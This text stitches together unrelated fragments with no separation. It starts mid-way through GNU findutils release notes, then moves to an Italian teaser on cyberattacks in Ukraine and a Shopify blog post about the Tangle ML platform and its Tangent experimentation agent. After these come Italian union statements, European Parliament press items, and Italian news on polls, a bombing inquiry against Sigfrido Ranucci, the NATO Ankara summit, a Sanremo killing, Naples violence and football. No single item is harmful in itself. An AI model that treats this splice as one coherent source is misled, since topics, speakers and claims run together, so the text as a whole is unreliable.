supplemented with the missing '-print0' and '-fprint0' actions.
The manual pages have been updated to give better and/or more
consistent output with manpage formatters other than GNU roff.
** Translations
Updated the following translations:
Arabic, Brazilian Portuguese, Bulgarian, Chinese (simplified), Croatian,
Czech, Dutch, Estonian, French, German, Indonesian, Korean, Polish,
Portuguese, Romanian, Spanish, Swedish, Ukrainian.
** Future Changes
A future release will remove the warning message find prints about
the 2007 change in the meaning of "-perm /000". Everybody who is
likely to care probably knows about this change by now.
La guerra in Ucraina non si combatte solo sul terreno, nel mare o nello spazio aereo. Il cyberspazio è uno degli scenari più attivi, dove vengono perpetrati quotidianamente decine di attacchi mirati alle infrastrutture civili e militari. Il continuo bersagliamento di infrastrutture energetiche, reti di comunicazione e servizi pubblici ha praticamente trasformato l’intero Paese in […]
By Alexey Volkov, Bo Li, Ben Chen, Maksym Yezhov, Pete Luferenko, and Volv Grebennikov – Shopify
Machine learning work is full of loops: form a hypothesis, build a pipeline, run it, read the metrics, adjust, repeat. Tangle is already where Shopify’s ML experiments run, giving engineers a shared platform to build and execute pipelines.
Tangent is an autonomous agent that orchestrates ML experimentation workflows on top of Tangle, deciding what to run, running it, and reporting back. Around Tangent we built a Linux-based platform for hosting these agents securely so they can persist, work remotely, and reach the services they need without ever holding a credential. This is done using containerized isolation, a certificate-issuing proxy, and per-instance persistent storage (details below).
What is Tangle?
Tangle is an open source, platform-agnostic ML experimentation platform with a powerful drag-and-drop visual editor. Users drag components onto a canvas, wire outputs to inputs to form a pipeline graph, and submit it for execution locally or in the cloud. A caching layer skips or reuses previously executed steps, including steps still in flight, so iteration is fast and cheap. All pipeline runs are stored forever (including graphs, components, and logs), making pipelines reproducible even after years have passed.
Because runs and caches are shared, teammates can inspect, copy, and modify each other’s pipelines in seconds, with no cloning a private notebook and hoping the environment matches. Tangle has similarities with other OSS tools like Airflow and Kubeflow Pipelines; its caching model and visual editor are what make fast experimentation loops possible. Any containerized CLI program written in any language can be used as a Tangle component, and those components exchange data as files in any format (CSV, Parquet, JSON, etc.).
Tangle composes components the way shell scripts, makefiles, and *nix pipes do. More information about Tangle is available at tangleml.com and you can immediately try it out.
Tangle’s pipeline canvas and architecture.
What is Tangent?
Tangent is an autonomous ML engineering agent designed to accelerate your Tangle experimentation workflows. It follows the pattern Andrej Karpathy recently popularized as autoresearch. Tangent takes that idea from a single training script on one GPU to full experiment pipelines running on Tangle, with a fleet of specialized subagents, gated checkpoints, and persistent memory. You point it at a scenario, a model, a metric to improve, a dataset, and it iterates: it analyzes results, forms hypotheses, modifies pipelines, submits runs, monitors them, and synthesizes what it learned. How much you delegate is up to you. Tangent works interactively, so you can hand it a single step (build this component, debug this failed run, analyze these metrics), or you can hand off the entire loop with one command and let it run:
tangent auto
Screenshot of the eight-step loop progressing.
Under the hood is an eight-step loop with gated checkpoints. The agent won’t advance until every item on a step’s checklist passes, and it reloads its instructions and context at each gate so it doesn’t drift over a long run. Memory is persistent and plain-text: a MEMORY.md holds the best-known configuration and hard-won lessons; daily session logs capture the play-by-play, and per-run learnings are archived to object storage.
The Tangent Skill
Tangent’s brain is a skill, written in Markdown. The entry point is a single SKILL.md, backed by a fleet of subagent skills: a researcher, a builder, a debugger, a reviewer, and more. Because skills are just files, they’re portable, reviewable in a pull request, and harness-agnostic, the same skill drives whichever coding agent you prefer.
That portability matters because Tangent runs on open agent harnesses instead of one proprietary client. To add a capability, you write a Markdown file and commit it. There is no binary to build or ship. Markdown was chosen deliberately over a config format or DSL: it’s diffable in a normal PR, requires no schema or parser to validate, and both humans and the coding agent read it natively. The skill file doubles as its own documentation.
# Tangent
A skill is just Markdown. This file is the entry point; each subagent is
its own Markdown file, loaded on demand.
## Commands
tangent <subagent> Read agents/<subagent>.md and follow it.
tangent auto Run the autonomous 8-step experiment loop.
## Subagents Agent file
tangent builder agents/builder.md
tangent debugger agents/debugger.md
tangent researcher agents/researcher.md
tangent reviewer agents/reviewer.md
tangent reporter agents/reporter.md
## Auto Mode - the loop
0 Initialize -> 1 Analyze -> 2 Hypothesize -> 3 Submit ->
4 Monitor -> 5 Evaluate -> 6 Synthesize -> 7 Decide -> (loop)
Each step has a gate. The agent won't advance until every item on the
step's checklist passes - and it re-reads its instructions at each
gate so it doesn't drift over a long run.
Tangent Agent Hosting Platform
Our Tangent Agent Hosting Platform helps users deploy persistent Tangent instances that communicate with Tangle, cloud providers, and other external services. Each Tangent instance is a multi-agent space: a Linux-based VM/container that can host multiple agentic apps (TUI, API, WebUI). Because every Tangent component runs as a standard Linux process inside a container, Tangent inherits mature Linux networking, storage, and isolation primitives instead of introducing a custom runtime. Instance data (like agent sessions and memories) is persisted across restarts. There are also cross-instance shared memories.
Agent Hosting architecture: Tangent Shell and Auth Proxy routing requests without exposing tokens.
Auth Proxy
Agents need access to services, but there is always a risk of agents reading the credentials and leaking them to AI providers. Tangent solves this by adding a system-wide proxy which lives in a separate container. The proxy intercepts and modifies HTTP requests coming from the agentic tools. Auth proxy automatically adds auth headers and can modify request URLs (e.g. redirect api.aicompany.com to some AI proxy). To modify HTTPS requests, auth proxy creates new SSL certificates on the fly. The agent container’s OS and programs are configured to trust those certificates via a generated certificate authority.
Implementation details
In the Kubernetes version, each instance is a StatefulSet: a container Pod running agents, apps, and proxies, backed by a per-instance PersistentVolume and a shared memory volume mount.
Tangent Shell
To work natively with Tangle, we built a custom Agent Host image. The Tangent Shell is an environment where agents run remotely, keep their memory and sessions across restarts, and keep working long after you close your laptop. Tangent Shell orchestrates multiple agents: it splits a request into slices, delegates them to parallel sub-agents, and coordinates results through a Prime agent that owns the session.
Tangent Shell is built to meet the ML expert’s needs. Each session boots pre-loaded with the Tangent skill toolkit and Tangle API tools, instructed to assist with Tangle-based ML experiments: building and optimizing ML training pipelines, testing hypotheses, ablation studies, hyperparameter optimization, etc. With the help of triggers (like webhooks, timers, and schedules), Tangent Shell is able to monitor pipeline executions and implement deep experimentation plans. The agent knows how to operate inside the rich UI, and how to render visual artifacts (Markdown, PNG, HTML).
The Shell is open source. Agent Bundles (packaged sets of prompts, tools, skills, workflows, and triggers) extend it without touching core code.
A real use case
We used Tangent to rebuild a large reranking model end to end. An engineer set the direction (which features to try, what training data to add) and reviewed results at each step. Tangent built, ran, and analyzed the experiments. Working through the loop, it tried a sequence of changes and measured each one against the previous best:
Step
What the agent changed
R@90% prec.
R@95% prec.
R@97% prec.
Previous pipeline
Prior distillation training, standard features & data
67.3%
54.4%
33.6%
+ Standardized pipeline
Migrated onto a reproducible trainer (on par; enables fast iteration)
69.5%
51.9%
35.2%
+ Richer product features
Added structured metadata, taxonomy, text descriptions, and predicted attributes (biggest single lift)
71.3%
58.7%
48.5%
+ More & harder training data
Added search-derived, sampled, and hard-negative pairs
75.6%
60.2%
43.9%
Open source and contributing
Tangle, the Tangent skills, the Hosting Platform, and Tangent Shell are all released under Apache 2.0. Development happens in the open on GitHub, and the projects accept pull requests for new subagent skills, Agent Bundles, and core fixes. Tangle is maintained by its creator, Alexey Volkov, with Shopify as the project’s initial sponsor and infrastructure steward. If you build a subagent skill or Agent Bundle you think others would find useful, we welcome the PR.
Con la firma dell'Accordo di Programma da parte di JSW si conclude, a distanza di un anno dalla sottoscrizione dell'Accordo Quadro, un passaggio istituzionale atteso per il futuro del polo siderurgico di Piombino. Nell'accordo è stata recepita la clausola di salvaguardia occupazionale, così come richiesto da USB e già prevista nell'Accordo di Programma del 2018. Si tratta di un elemento importante, che tutela i lavoratori nella fase di transizione, ma che da solo non è sufficiente a garantire il rilancio del polo. Nel corso dell'incontro tutte le istituzioni, a partire dal Ministro Adolfo Urso, hanno parlato dell'avvio di una nuova fase per Piombino, sostenendo che il rilancio dello stabilimento possa rappresentare un punto di ripartenza anche per l'intera siderurgia nazionale. USB ritiene però che sia necessario mantenere grande prudenza. Non diciamo gatto finché non è nel sacco. La storia degli ultimi anni impone di giudicare i risultati sui fatti e non sugli annunci. JSW, infatti, ha già dimostrato dal 2018 di non aver rispettato gli impegni assunti in materia di investimenti e rilancio produttivo. Allo stesso tempo rimangono forti incognite sul progetto Metinvest, che continua a scontare i ritardi legati al contesto internazionale e alla guerra in Ucraina, con la ricerca ancora aperta di un terzo investitore e un cronoprogramma che sta già accumulando ritardi, anche rispetto agli impegni occupazionali previsti dall'Accordo Quadro. Per questo sarà determinante l'incontro convocato al Ministero per il prossimo 15 luglio, dedicato all'Accordo di Programma di Metinvest e alla verifica dello stato di attuazione dell'Accordo Quadro sottoscritto lo scorso anno. Come USB riconosciamo l'importanza della clausola di salvaguardia occupazionale, ma riteniamo che quella di oggi sia anche un'occasione mancata. A Piombino esistevano tutte le condizioni per un intervento diretto dello Stato. Gli investimenti riguardano aree pubbliche e demaniali e nello stabilimento si produce l'unica rotaia ferroviaria italiana, una produzione strategica per la sicurezza, l'autonomia industriale e lo sviluppo della rete ferroviaria nazionale. Un asset di questo valore non può continuare a essere lasciato nelle mani di gruppi privati che hanno già dimostrato di non mantenere gli impegni assunti. Dopo anni di finanziamenti pubblici concessi senza risultati concreti, era il momento di cambiare strada. Lo Stato avrebbe dovuto assumere un ruolo diretto nel rilancio del polo siderurgico, garantendo investimenti, occupazione e una vera politica industriale. Continuare a inseguire le promesse delle multinazionali significa esporre ancora una volta lavoratrici, lavoratori e un intero territorio al rischio di nuovi ritardi e nuove delusioni. USB continuerà a vigilare affinché gli impegni sottoscritti diventino investimenti reali, occupazione stabile e rilancio produttivo. Per noi la siderurgia è un settore strategico per il Paese e deve tornare sotto un forte controllo pubblico. Solo così sarà possibile garantire il futuro di Piombino e costruire una vera politica industriale nazionale, fondata sull'interesse collettivo e non sulle convenienze dei grandi gruppi privati.
Usb Piombino Usb Nazionale Industria – Categoria Operia
Nei giorni scorsi, 6 e 7 luglio, si sono svolti due importanti momenti di confronto presso la sala riunioni dell’Autorità di Sistema Portuale. In entrambi i casi, allo stesso tavolo, i membri delle segreterie sindacali provinciali, i rappresentanti delle aziende e i dirigenti della AdSP.
Abbiamo partecipato alla presentazione ufficiale dei nuovi Rappresentanti dei Lavoratori per la Sicurezza di sito e al tavolo igiene e sicurezza in ambito portuale.
Il tema della sicurezza è un argomento da sempre al primo posto nell’agenda della nostra organizzazione sindacale. Il fatto che USB sia finalmente approdata ai tavoli ufficiali convocati nel porto di Livorno è sicuramente il frutto dell’intenso lavoro svolto in questi anni, che ha portato anche alla elezione di un nostro delegato tra gli RLS di sito.
Bene il confronto ma su queste tematiche servono interventi strutturali. È necessario agevolare e garantire la massima agibilità e autonomia agli RSL a partire da quelli aziendali. Indispensabile che siano uniformati il più possibile, i protocolli sulla sicurezza esistenti e ne siano prodotti di nuovi aggiornati alle condizioni attuali che, in molti casi, risultano essere diverse dal passato. Esempio tra tutti il tema del caldo estremo e il rischio connesso di stress termico per i lavoratori. Le procedure operative, il lavoro in stiva, l’utilizzo di mezzi sono altri esempi di fattispecie di rischio elevato che dovranno essere aggiornate. In questo senso anche il lavoro di controllo e di coordinamento dell’Autorità di Sistema Portuale è fondamentale.
Come segreteria USB Mare e Porti rivolgiamo un augurio di buon lavoro ai nuovi RLS di sito e ribadiamo loro, il nostro massimo sostegno
Giovedì il PE ha approvato modifiche alla deroga alle norme UE sulla privacy che consentirebbe ai fornitori di servizi online l'individuazione volontaria degli abusi sessuali sui minori. Commissione per le libertà civili, la giustizia e gli affari interni
Giovedì, l’Aula ha deciso di avviare i negoziati con il Consiglio sulla creazione dell’euro digitale, con l’obiettivo di ridurre la dipendenza da fornitori extra-UE. Commissione per i problemi economici e monetari
On Thursday, the European Parliament adopted a motion for a resolution on the recently-published joint communication on humanitarian aid. Committee on Development
Mercoledì i deputati hanno chiesto un dibattito costruttivo su come far avanzare l'integrazione europea dell'Ucraina, tenendo conto degli interessi strategici dell'UE. Commissione per gli affari esteri
In their report on Moldova’s progress towards EU membership, MEPs commend the country for its exemplary commitment despite continued Russian-led foreign interference. Committee on Foreign Affairs
Mercoledì, gli eurodeputati hanno dato il via libera a due accordi che aprono la strada a legami politici più stretti e a un'espansione degli scambi commerciali tra l'UE e il Messico. Commissione per gli affari esteri Commissione per il commercio internazionale
Oltre 300 sensori, terabyte di informazioni e simulazioni continue. La tecnologia NetApp collega pista, quartier generale e cloud, trasformando i dati in decisioni tecniche e strategiche
On Tuesday, Micheál Martin set out Ireland’s priorities: to enhance EU competitiveness, values, and security, under the banner of “strength with unity”.
Risarcimenti più semplici e veloci per i ritardi, posti gratuiti per i bambini e bagaglio a mano incluso entrano nella nuova legge UE sui diritti dei passeggeri aerei. Commissione per i trasporti e il turismo
Martedì il Parlamento ha approvato in via definitiva nuove norme che garantiscono l’accesso alla sicurezza sociale ai lavoratori dell’UE che vivono o lavorano in un altro Stato membro. Commissione per l'occupazione e gli affari sociali
On Tuesday, plenary voted in favour of channelling €144.1 million in EU funds to support Spain, Romania and Cyprus after devastating wildfires, floods and heatwaves in 2025. Committee on Budgets
Quale profilo, quali caratteristiche dovrebbe avere il prossimo Presidente della Repubblica? Quale provenienza politica dovrebbe vantare nel curriculum? Sicuramente non dovrà essere una figura divisiva per gli italiani intervistati nel sondaggio SWG dopo che la Presidente del Consiglio Giorgia Meloni ha letteralmente aperto la campagna per il Quirinale verso il 2029 mentre già è aperta quella per le politiche in programma nel 2027 e si discute della legge elettorale che sarà impiegata l’anno prossimo.
Prima caratteristica, dunque, per il 56% degli italiani, è che il futuro Capo dello Stato non dovrà essere una figura divisiva. Per il 54% dovrebbe vantare prestigio internazionale, per il 32% dovrebbe vantare una lunga esperienza politica. E in pole position, nel toto-nomi, spicca il nome dell’ex Presidente del Consiglio Mario Draghi, con il 48% degli italiani che lo trovano adeguato. Seguono l’attuale premier Meloni (38%), Pierluigi Bersani (35%), Paolo Gentiloni (28%). In fondo alle preferenze il quotatissimo Pier Ferdinando Casini (25%) e Romano Prodi (24%).
Per il 32% degli italiani non avrà importanza lo schieramento politico del nuovo Presidente della Repubblica, l’importante è che sia una figura adatta alla carica. Per il 22% dovrebbe provenire dal centrodestra, per 13% dovrebbe essere un politico mai schierato né da una parte né dall’altra, per appena il 12% dovrebbe arrivare dal centrosinistra, per l’11% dovrebbe essere una figura esterna alla politica.
Mario Draghi è ritenuto il futuro Presidente della Repubblica più adeguato (48%). Seguono Giorgia Meloni (38%) e Pier Luigi Bersani (35%) pic.twitter.com/WFQjJsfkXc
A richiamare l’attenzione negli orientamenti di voto rilevati per il TgLa7 il segno di crescita che riguarda Futuro Nazionale, in salita dello 0,4%, fino al 6%. Sempre in vantaggio sulla Lega scavalcata che pure guadagna uno 0,2%, il Carroccio è al 5,6%. Segno negativo invece sia per la Presidente Meloni, con Fratelli d’Italia che scivola al 27,1%, che per la segretaria Elly Schlein, Partito Democratico al 21,5%, che per l’ex premier Giuseppe Conte, Movimento 5 Stelle al 13,1%.
Seguono Forza Italia e Alleanza Verdi Sinistra, in lieve risalita al 7,4% e al 6,5%. Azione di Carlo Calenda è al 3,4%, Italia Viva al 2,5%, +Europa all’1,4%, Noi Moderati all’1,1% Stabili in fondo al listone Sud Chiama Nord all’1% e Avanti – PSI all’1%. Alla generica voce “altro partito” il 2,4%. Non si esprime il 27% degli intervistati, a conferma degli alti tassi di astensionismo nell’elettorato italiano a ogni appuntamento alle urne.
L’amico Valter Lavitola dietro l’attentato dinamitardo che ha fatto saltare in aria le sue due auto di fronte l’abitazione di famiglia a Campo Ascolano, la frazione del comune di Pomezia, alle porte di Roma. Per la Procura di Roma è il giornalista-editore, in passato molto vicino a Silvio Berlusconi e con due condanne passate in giudicato, oggi titolare di un ristorante di pesce non lontano da Trastevere, il mandante della bomba contro il conduttore di Report Sigfrido Ranucci. A Lavitola e ai suoi complici i magistrati della Direzione distrettuale antimafia della Procura di Roma contestano il reato di tentata strage, detenzione, porto e impiego illegale di esplosivi, danneggiamento aggravato e minaccia aggravata, tutti contestati con l’aggravante del metodo mafioso. I carabinieri del Nucleo Investigativo di Roma e Frascati hanno perquisito l’abitazione dell’ex direttore L’Avanti! e hanno sequestrato telefoni e pc, che saranno analizzati.
“Sono sconvolto, siamo amici, adesso voglio capire. Per me Valter è un amico, dal 2019 ci sentivamo quasi tutti i giorni. Sono sconvolto, sconcertato, non so che cosa pensare, se non che mi affido alle indagini della Procura e dei Carabinieri. In questo momento non mi sento di rilasciare altre dichiarazioni”, sono le parole raccolte da Repubblica e Corriere della Sera da Ranucci dopo l’indagine a carico di Lavitola.
Dei rapporti tra Lavitola e Ranucci si era occupato il quotidiano Il Riformista, pubblicando la foto di una cena tra i due la sera del 21 maggio 2023 al ristorante “Cefalù” nel quartiere romano di Monteverde, di proprietà di Lavitola, insieme a monsignor Giovanni Fusco, collaboratore del cardinale segretario di Stato vaticano Pietro Parolin, e ad altri commensali. All’epoca Ranucci accusò via sms Matteo Renzi, l’ex premier che a quei tempi era direttore del quotidiano, di averlo esposto a un rischio pubblicando la foto di quell’incontro essendo sotto scorta.
A Lavitola gli inquirenti sono arrivati dopo gli arresti della scorsa settimana del commando che ha materialmente piazzato l’ordigno esplosivo: analizzando telefoni, contatti e computer dei quattro, gli investigatori avrebbero ricostruito due ulteriori livelli dell’organizzazione, con gli arrestati che facevano riferimento ad un intermediario, un cittadino di origine camerunense che lavorava nel ristorante di Lavitola, a sua volta in contatto proprio con Lavitola.
Quel che non è ancora chiaro è il movente, cosa abbia spinto Lavitola ad assoldare il commando e collocare l’ordigno davanti la casa dell’”amico” Ranucci. Secondo Il Fatto Quotidiano, giornale molto vicino al giornalista, non risulterebbero inchieste in corso o servizi su Lavitola da parte di Report, con Ranucci che d’altra parte ha ammesso di essere amico dell’ex faccendiere condannato tra le altre cose a due anni e 8 mesi per tentata estorsione ai danni di Berlusconi nella vicenda che lo vede coinvolto insieme all’imprenditore Giampaolo Tarantini nel giro di escort per le famose “cene eleganti”.
Il motto è stato coniato. Ed è molto suggestivo e ambizioso. La sua traduzione operativa, beh, questo è tutt’altro discorso. Molto, molto complicato. “Un’Europa più forte in una Nato più forte”. È il motto contenuto nella dichiarazione finale approvata dai 32 ambasciatori alleati e, a ben vedere, il senso del vertice di Ankara sta tutto qui. Tener fede alle promesse dell’anno scorso, far vedere agli Usa e a Donald Trump che il vecchio mondo sta davvero aprendo i cordoni della borsa, tracciando percorsi “credibili” verso il famoso 5% di Pil in difesa.
Il segretario generale Mark Rutte (e gli sherpa) hanno fatto il possibile per costruire un summit (l’ennesimo) a prova di Trump. Ma l’apprensione è palpabile perché se il tycoon deraglierà si potrà entrare in una fase che alcuni, alla Nato, non esitano a definire “pericolosa”. Oggi in una Ankara super blindata – centinaia i manifestanti anti-vertice arrestati – prima dell’arrivo dei leader, si terrà un gigantesco forum dell’industria della difesa transatlantica in cui verranno annunciati contratti, intese e cooperazioni per miliardi e miliardi: è uno degli spettacoli pirotecnici organizzati per stuzzicare l’immaginazione di Trump. Poi c’è la cena al palazzo presidenziale del Sultano, Recep Tayyip Erdoğan. Lì i 32 capi di Stato e di Governo alleati saranno soli – senza ambasciatori o consiglieri – con mogli (o mariti) e gli ospiti, tra cui ad esempio Volodymyr Zelensky.
In parallelo, le cene dei ministri degli Esteri e della Difesa, dove sono stati invitati, rispettivamente, i Paesi del Golfo e i partner asiatici (Giappone, Corea, Australia e Nuova Zelanda). Mercoledì sarà la volta del vertice vero e proprio: un giro di tavolo del Consiglio Atlantico da 2-3 ore massimo, proprio per limitare il più possibile i rischi. Ecco, si capirà allora perché c’è chi vorrebbe abolire la ricorrenza annuale (gli Usa in primis ma non solo) e dunque l’edizione del 2027 prevista a Tirana è in bilico anche perché l’Albania è tra i Paesi che non è ancora al 2%. Il Paese candidato a egemone del nuovo corso della Nato 2.0 è senz’altro la Germania, che intende arrivare al 3,5% della difesa ‘core’ già nel 2029, con uno sforzo di bilancio mostruoso: nessuno, in Europa, ha una potenza di fuoco economica simile. Varsavia, pur con le debite proporzioni, è l’altro astro nascente della sicurezza continentale, che affianca i leader tradizionali, Francia e Gran Bretagna.
In questo quadro, l’incognita resta The Donald. «Putin vuole finire la guerra in Ucraina, lo vuole fortemente», proclama Trump nello Studio Ovale, nel giorno dell’ennesima strage di civili uccisi nei bombardamenti russi. «Anche Zelensky lo vuole, ne parleremo al vertice della Nato», ha aggiunto. “Tre settimane fa ho detto al presidente Xi che gli Stati Uniti hanno l’esercito più potente del mondo e non ha avuto nulla da obiettare”, ha fatto sapere il tycoon, riferendo del colloquio con il presidente cinese. A prendere la parola è anche il “cameriere” del tycoon a Bruxelles, al secolo Mark Rutte, segretario generale della Nato. Gli Usa non stanno «spaccando» la Nato, assicura Rutte nel corso della conferenza stampa prevertice, rispondendo ad una domanda sull’attacco di Hegseth alla scorsa ministeriale difesa. «Avere una revisione della postura e delle forze è una mossa saggia, sarà in consultazione con gli alleati, non c’è da preoccuparsi», ha aggiunto. Se lo dice lui…
Ad Ankara si disserta, in Ucraina si continua a morire. È di almeno 20 morti il bilancio degli attacchi russi della scorsa notte sull’Ucraina, che hanno preso di mira la capitale Kiev e la sua regione. Lo riferiscono le autorità locali, precisando che 14 persone sono morte a Kiev e altre 6 nella sua regione. L’aeronautica militare ucraina ha riferito che la Russia ha lanciato durante la notte 351 droni e 68 missili, prendendo di mira principalmente Kiev, e ha precisato che tutti i 29 missili balistici hanno colpito i loro obiettivi, sottolineando l’urgente necessità di un maggiore sostegno in materia di difesa. «Per intercettare i missili balistici, abbiamo bisogno dei mezzi per l’intercettazione», ha affermato il portavoce dell’aeronautica militare, Yurii Ihnat, parlando alla tv nazionale. «I russi stanno certamente sfruttando il fatto che ora vi sia una grave carenza di missili intercettori, sia in Ucraina che nel mondo», ha aggiunto.
In questo scenario devastato, Volodymyr Zelensky ha esortato i suoi alleati a prendere «decisioni forti» al vertice Nato «È di fondamentale importanza che il mondo, in primis gli Stati Uniti e i nostri partner europei, escano dal vertice Nato di Ankara con decisioni forti a sostegno della nostra difesa aerea», ha dichiarato il presidente ucraino sui suoi canali social. «Finché i missili Patriot rimarranno nelle scorte dei nostri alleati, la Russia è solo incoraggiata a continuare a `squarciare´ gli edifici residenziali. Stati Uniti e Europa hanno abbastanza forza per fermare questo terrore». La forza ce l’hanno. Quello che scarseggia è la volontà politica di esercitarla. E non solo a Washington. È il 1.594° giorno di guerra in Ucraina, ma Trump assicura: la fine della guerra è più vicina di quanto si crede. Sullo sfondo, il clamore dei missili che piovono su Kiev.
Si propende per la pista dell’omicidio a Sanremo, dove una donna di circa 59 anni è stata trovata morta nella serata di ieri. Sul corpo della donna i segni delle violenze: in particolare sul collo e sui polsi. Potrebbe esser stata strangolata. Al vaglio degli inquirenti anche la posizione del figlio della vittima. Accertamenti in corso, in corso le indagini condotte dai Carabinieri coordinati dalla Procura di Imperia.
L’omicidio si sarebbe consumato in un’abitazione in via Hope. Il cadavere della donna è stato scoperto intorno alle 22:00, quando i Vigili del Fuoco sono intervenuti sul posto su richiesta del figlio ventenne della vittima. Aveva riferito di non riuscire più a entrare in casa, la porta dell’appartamento era chiusa dall’interno e i pompieri sono entrati passando da un balcone e aprendo dall’interno.
Il figlio avrebbe raccontato agli investigatori di essere uscito di casa intorno alle 19:15 per andare a mangiare una pizza. Fonti della Procura di Imperia hanno confermato all’AdnKronos che il figlio sarà interrogato in mattinata dal pm Enrico Cinnella Della Porta, che coordina le indagini affidate ai Carabinieri. Stando ai primi accertamenti medico-legali, la morte risalirebbe ad almeno tre ore prima del ritrovamento. Il padre si trovava fuori casa.
L’episodio di Montesanto è stato raccontato, nelle prime ore, secondo uno schema ormai consolidato. Camorra, baby gang, stesa. Era quasi inevitabile, quando in una strada di Napoli compare un Kalashnikov il riflesso condizionato è quello di ricondurre tutto alla criminalità organizzata. Poi, con il passare delle ore, il quadro si è fatto più complesso. Le ricostruzioni parlano di una lite tra privati degenerata, di una vendetta personale. È il destino di molta cronaca: la prima narrazione è quasi sempre la più semplice, quella successiva è quasi sempre la più vera. Eppure il punto più interessante non è stabilire se dietro quell’episodio ci fosse o meno la camorra. Il punto è capire perché siamo costretti a scegliere tra due sole spiegazioni: o criminalità organizzata o gesto isolato.
È una falsa alternativa. Tra queste due narrazioni esiste un livello intermedio che raramente viene raccontato, ed è probabilmente quello più importante.
La sociologia urbana lo descrive attraverso il concetto di urban marginality. Non indica semplicemente quartieri poveri o periferie degradate, descrive piuttosto territori in cui la presenza dello Stato è discontinua, dove le istituzioni non riescono a esercitare con continuità la loro funzione di regolazione sociale e dove, di conseguenza, acquistano forza codici informali, relazioni personali, reputazione e rapporti di forza. In questi contesti la violenza non è necessariamente organizzata. Non è sempre pianificata. Ma non è nemmeno casuale. Diventa una risorsa disponibile.
Non perché interi quartieri siano assimilabili alla criminalità organizzata: diventa disponibile perché il conflitto quotidiano trova troppo spesso modalità di regolazione alternative a quelle offerte dalle istituzioni. È questo il livello intermedio che sfugge al dibattito pubblico. Il problema, allora, non è soltanto la presenza della criminalità, è la qualità della presenza dello Stato.
In molte aree di Napoli lo Stato non è assente in senso assoluto: fa arresti, indaga, interviene, ma troppo spesso è assente nella sua funzione più importante, quella ordinaria. Manca nella manutenzione dello spazio pubblico, nella continuità dei servizi, nella scuola, nelle politiche sociali, nella capacità di prevenire i conflitti prima che diventino materia di ordine pubblico. È una presenza intermittente. Compare nell’emergenza e scompare nella quotidianità.
È questa discontinuità a produrre quella condizione che la sociologia urbana definisce urban marginality: territori in cui il monopolio delle regole è incompleto e nei quali continuano a convivere norme ufficiali e codici informali. È qui che Napoli dovrebbe interrogarsi. Negli ultimi dieci anni la città ha conosciuto una trasformazione straordinaria. Il turismo è esploso. L’immagine internazionale è cambiata. Quartieri un tempo ignorati sono diventati mete globali. Napoli è tornata a essere desiderata. Ma una città non diventa davvero internazionale soltanto perché aumenta il numero dei visitatori. Lo diventa quando chi ci vive e chi la visita percepiscono la stessa cosa: che lo spazio pubblico appartiene alle regole comuni e non ai rapporti di forza. Il successo turistico rischia invece di convivere con una modernizzazione incompleta, nella quale il centro storico diventa una vetrina globale mentre persistono, spesso a pochi metri di distanza, forme di regolazione sociale che appartengono a un’altra idea di città. È questa la contraddizione che Montesanto porta alla luce. Racconta qualcosa di difficile da affrontare: una città che sta diventando globale molto più rapidamente di quanto riesca a diventare pienamente governata. Finché il conflitto continuerà a trovare soluzioni fuori dalle istituzioni, la modernità di Napoli resterà una fotografia splendida con una crepa che attraversa il paesaggio.
È ancora una volta il calciomercato a mettere nei guai il presidente del Napoli Aurelio De Laurentiis. L’imprenditore e il figlio Luigi sono indagati dalla Procura di Bari per bancarotta fraudolenta e false comunicazioni sociali in merito all’operazione che, nell’estate del 2023, portò al trasferimento del calciatore Elia Caprile dal Bari al Napoli. Stando alle accuse dei pubblici ministeri baresi l’operazione di cessione del portiere dal Bari al Napoli nel 2023, due società entrambe di proprietà della Filmauro spa, società della famiglia De Laurentiis, avrebbe provocato un ingiusto profitto nei confronti del Napoli.
Si tratta di una tesi nota ma difficilmente dimostrabile in sede giudiziaria. Secondo gli inquirenti nel giro di due anni il Napoli realizzò una plusvalenza di circa 7 milioni di euro: nel bilancio di esercizio del 2024 della Ssc Bari infatti non sarebbero evidenziati i criteri adottati per la determinazione del corrispettivo e la valutazione del potenziale valore futuro del calciatore, ceduto per 2,2 milioni di euro dalla società pugliese a quella campana. Il Napoli poi cedette Caprile al Cagliari per 8 milioni di euro: per la Procura quella plusvalenza sarebbe riconducibile a un percorso di valorizzazione sportiva che avrebbe potuto porre in essere il Bari.
Quanto all’ipotesi di bancarotta fraudolenta, per gli inquirenti il valore di 2,2 milioni di euro con cui Caprile fu ceduto dal Bari al Napoli non risponderebbe al valore effettivo dell’asset e, dunque, la mancata plusvalenza maturata dal Bari avrebbe causato un danno al patrimonio della società pugliese guida da Luigi De Laurentiis. L’inchiesta ha portato a perquisizioni nelle sedi delle due società da parte della finanza: i destinatari delle perquisizioni per questa vicenda (non indagati) sono i direttori sportivi del Bari,Ciro Polito e del Napoli Cristiano Giuntoli (fino al giugno 2023) e Mauro Meluso (da luglio 2023 a maggio 2024), oltre al procuratore sportivo di Caprile Graziano Battistini.
La Procura ha chiesto formalmente l’apertura della liquidazione giudiziale, una procedura che di fatto corrisponde alla richiesta di fallimento per la società biancorossa. L’inchiesta sul passaggio di Caprile dal Bari al Napoli si fonda infatti su una serie di approfondimenti della Guardia di Finanza sui bilanci del club pugliese, che secondo gli inquirenti si trova da tempo in una situazione di perdita sistemica con “rossi” accumulati tra il 2019 e il 2025 che avrebbero raggiunto la cifra di circa 30 milioni di euro. Un deficit accompagnato da un pesante indebitamento, a cui la proprietà non avrebbe contrapposto un piano concreto e solido per risanare i conti.
Per il patron del Napoli non è il primo problema con la giustizia legato alla compravendita di calciatori. Aurelio De Laurentiis nel novembre 2025 è stato rinviato a giudizio dal Gup di Roma per l’accusa di falso in bilancio in un procedimento che riguarda presunte plusvalenze fittizie legate agli acquisti dei calciatori Victor Osimhen (dal Lille nell’estate del 2020) e Kostas Manolas (dalla Roma nell’estate 2019).
A niente è servito tutto il polverone, il caso più clamoroso scoppiato ai Mondiali di calcio in corso tra USA, Canada e Messico, sollevato soltanto incidentalmente dal campo quanto piuttosto dalla Casa Bianca: da Donald Trump che in spregio a ogni pudore e formalità aveva telefonato alla FIFA per chiedere conto dell’espulsione del capocannoniere statunitense Folarin Balogun. E la FIFA aveva eseguito: squalifica sospesa all’attaccante americano per un anno, abile e arruolabile per gli ottavi di finale. E Belgio esterrefatto, UEFA all’attacco, ogni appassionato sconvolto, anche in Italia tra l’altro nei giorni dello scontro frontale con la Presidente del Consiglio Giorgia Meloni. 4 a 1 è finita ieri sera a favore dei Diables Rouges. Con Folarin in campo. USA fuori.
